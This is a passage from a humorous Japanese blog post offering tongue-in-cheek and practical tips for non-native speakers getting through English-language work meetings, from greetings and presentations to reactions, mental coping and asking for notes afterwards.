実際上で述べたように初手"How are you?"を出すようになってから、カウンター"How are you?"を食らうことが多いことに気付きました。「いやこっちが先に聞いてるんだけど...」みたいな気持ちになるわけですが、恐らく"Hi"ぐらいの意味しかないのでいちいち"good!"とか答えないのだろうと思います。

どちらが先に"How are you?"を繰り出してどうカウンターするか、というのは一瞬の駆け引きなので自分から攻めるべきか、はたまた相手からの攻撃を待ってカウンターを決めるべきかはよく見極めましょう。

発表編

ミーティングなどでは時に自分がメインで話さなければならない場合もあります。その場合の対処法です。

話し続ける

「攻撃は最大の防御」というやつです。スピーキングももちろん簡単ではないですが、適当な中学英語を話し続けるだけなら何とかなります。その結果、時間をうまく使い切ることができれば勝ちです。

質問が出ないぐらい丁寧に説明する

とにかく質問が出ないように、事前に質問を想定して全てについてこちらから説明しきります。そうすることで上で述べたように時間を使い切って質問を受ける時間を削ることができますし、そもそも丁寧に説明しているため質問も全く出ずに完封勝利を収めることができます。バッドノウハウではなく普通に良い話を書いてしまいました。

画面共有しまくる

スピーキングの話になりますが、英語のみで全てを説明するのは大変です。ですが、画面共有をして"This!"とか言っておけば一発で伝わります。これは日本語でも有用だと思いますが百聞は一見にしかずなので英語でも見せるのが早いと思います。

資料を準備する

他の人が準備無しでミーティングに臨むような場合でも、英語で説明するのは大変なので図を事前に書いたり話したいWebサイトを開いていったり準備をしっかりしていくと良いです。日本語でももちろんしたほうが良いのですが、口で説明すれば分かるだろうと油断しがちなので英語では特に意識してやるほうが良いです。

リアクション編

実際には何も理解していないのに分かっている感じを出すための方法です。

多彩な相槌を繰り出す

良く分からない時に相槌を打つときが多くあるわけですが、そのバリエーションは持っておきましょう。"I see"とか"OK"に始まり、"wow!"とか"Cool!"とか"That's nice"とか"Absolutely"とか言っておくと実際には何もわかっていなくても分かっている感じが出ます。

笑顔でいる

少しでも聞き取らなくては、とリスニングに集中していると怖い顔になります。自分もめっちゃ集中してて余裕ゼロだったので"どうした...?"と聞かれました。笑顔でいる方が分かっている感じも出ますし雰囲気も良いので頭と耳は集中させつつも外見はリラックスした感じを出す練習をしておきましょう。

笑うタイミングに気をつける

真面目な話の時はまだ良いのですが、雑談系の話になると笑いどころはかなり重要になってきます。何を言ってるか分からなくても話者の表情や抑揚などから面白いことを言っていそうという気配を察し、絶妙なタイミングで笑ってみせる必要があります。真面目な話のときは聞き返しますが、ジョークを聞き返すのは結構申し訳ない気持ちになります。雰囲気で乗り切りましょう。

シュール系ジョークに気をつける

ややこしいのはシュール系のジョークが好きな人です。真顔でボケて来られると笑うタイミングが掴めません。初見殺しです。

同僚「ジョーク(真顔)」
自分「え...?」
同僚「いやジョークだよー」

みたいなやり取りを何度もしたことがあります。滑らせた感じになってすまないと思うわけですが、もう少し分かりやすくしてくれという気持ちもあります。日本人でも自分で話して自分で笑っちゃう人がいますが、笑いどころを知る上では非常にありがたいなと最近思うようになりました。その人の性格がわかってくればジョークを言いそうなタイミングも分かってきて察することが出来るようになるため、最初はボケられても笑えない微妙な空気に耐えましょう。

メンタル編

上のように微妙な空気になっても耐えられるメンタルが必要になります。その対策です。

なぜ日本語を話さないのか?と思っておく

英語ネイティブと話す時、お互いのメイン言語が異なるという条件は同じわけで相手が日本語を話しても良いはずです。何で日本語じゃないのだろう?と内心思っておきます。そして仕方ないので自分が相手に合わせて英語を話すかという心構えでいます。そうすると相手に貸しがあるわけで、自分の英語で至らないことがあっても「これで貸し借りなしな」という気持ちになれます。

これはあくまでメンタルを強く保つための方法なので内心に留めておいて表に出すのはやめておきましょう。

でも自分めっちゃ日本語話せるしなと思っておく

英語でまくしたてられて全然聞き取れなかったとします。そんな時は「でもこれがもし日本語だったら余裕で聞き取れるな。何ならもっと速く話せるぜ」と思っておきましょう。

追記: まさにこれという画像を頂いたので載せておきます

分からなくても死なないと思っておく

車の運転時とかミサイルが撃ち込まれた時とか命に関わるような話はちゃんと理解しないとダメですが、普通の会社のミーティングで何か分からないことがあっても生きていけます。「さっぱりわからん!!!」ぐらいのテンションでいましょう。

強めの"は?“に備える

自分が何か発言した時に結構強めに“は?“と言われて精神がやられる時があります。恐らく"Huh?"なので強い意味はなく日本語の「え?」ぐらいのニュアンスだと思います。あちらも心を折りに来ているわけではない(多分)ので、事前に備えておけば耐えられます。

その他編

ペース配分を考える

ミーティングが一時間もあったら英語弱者にとってそんな長時間集中し続けるのはまず不可能です。ここぞの時に集中するためにペース配分を考えて試合を進める必要があります。時には大胆に集中力をオフにしてボケーッとしていきましょう。

最後に名前を呼ぶタイプの人に気をつける

質問をする時、"Hey @knqyf263, I think ~"のように最初に注意をひきつけてくれる人は良いのですが、中には "I think xxx yyy zzz~, what do you think? @knqyf263" のように話の最後に急に振ってくる人もいます。こちらとしては何か長めに話し始めた時点でオフになって集中力が0になっていることも多く急に振られても何も話を聞いておらず詰みます。

これは対策が難しいのですが、最初の何文かを集中して聞いて関係なさそうと分かったらオフになりましょう。あとはよくそういう振り方をしてくる人をマークしておいて、その人が話し始めたら感度を上げるのも大事です。

初対面の人と大事なミーティングをしない

やはりある程度慣れというものがあると感じています。何回か話した人は多少は聞き取りやすくなります。一方で初対面だと絶望的に聞き取れない場合があります。そのような状況で何か大事なミーティングをしていると何も分からないまま大事な決定がなされていきます。

自分は恐ろしいほど聞き取れなかったので適当に返していたのですが、あとで聞いたら全然自分の想定と違う決定になっていて急いで謝りました。どうしても初対面の人と大事なミーティングをする場合は議事録残しましょうと最初に提案しましょう。

真面目編

今まではしょうもない内容でしたが、最後に少し真面目なことも書いておきます。

事前に議題を聞く

カレンダーにある程度要点を書いてくれる人はいいのですが、"Discussion" ぐらいのタイトルで詳細なしにミーティングをセットしてくる人もたまにいます(実際にはもう少しちゃんと書いてますがいずれにせよ詳細がわからないレベル)。そういう時はチャットなどで事前に"今日ミーティングセットしてたけど何について話すの?"と聞いておきましょう。何ならそのチャットだけで用件が済むこともありミーティングを未然に防ぐことが出来る場合もあります。

あとで要点を送ってもらうよう依頼する

これは社外の人から説明を受けた場合などによく使う方法です。例えば税理士から丁寧に説明してもらっても大体単語も難しいのでさっぱり分かりません。そういう場合はミーティングの最後に"要点だけ後で送ってもらえますか?"と依頼します。OKと言いつつ送ってくれないことも多いですが、送ってくれた場合はDeepL使えば何とかなります。

ボディランゲージを駆使する

これはあたり前のことなのですがやはり重要なので一応書いておきます。困ったら大体身振り手振りしておけば伝わります。

大きな声ではっきりと話す

これもよく言われることですが、小さい声でモゴモゴ言うと余計に伝わらないので下手でも大きな声ではっきりと話しましょう。

否定疑問文にYES/NOで答えない

"Don’t you like sushi?"と聞かれた場合、日本語だと「はい、好きではないです」となるのでYESと言いたくなりますが実際はNOです。食事の好みぐらいなら間違ってもいいですが、重要な質問で逆の回答をしてしまうと非常に困ります。これは中学で習うような話なので全員知っていることだとは思いますが、いざ会話中に使われると間違うことも多いです。頭の中で"Don't you"を"Do you"に置き換えて回答するなどの手もありますが、それでも自分は混乱するのでYES/NOで答えずに "I like it" のように文章で答えるようにしています。それなら確実に伝わります。

まとめ

しょうもないテクニックを駆使しないでちゃんと勉強しましょう。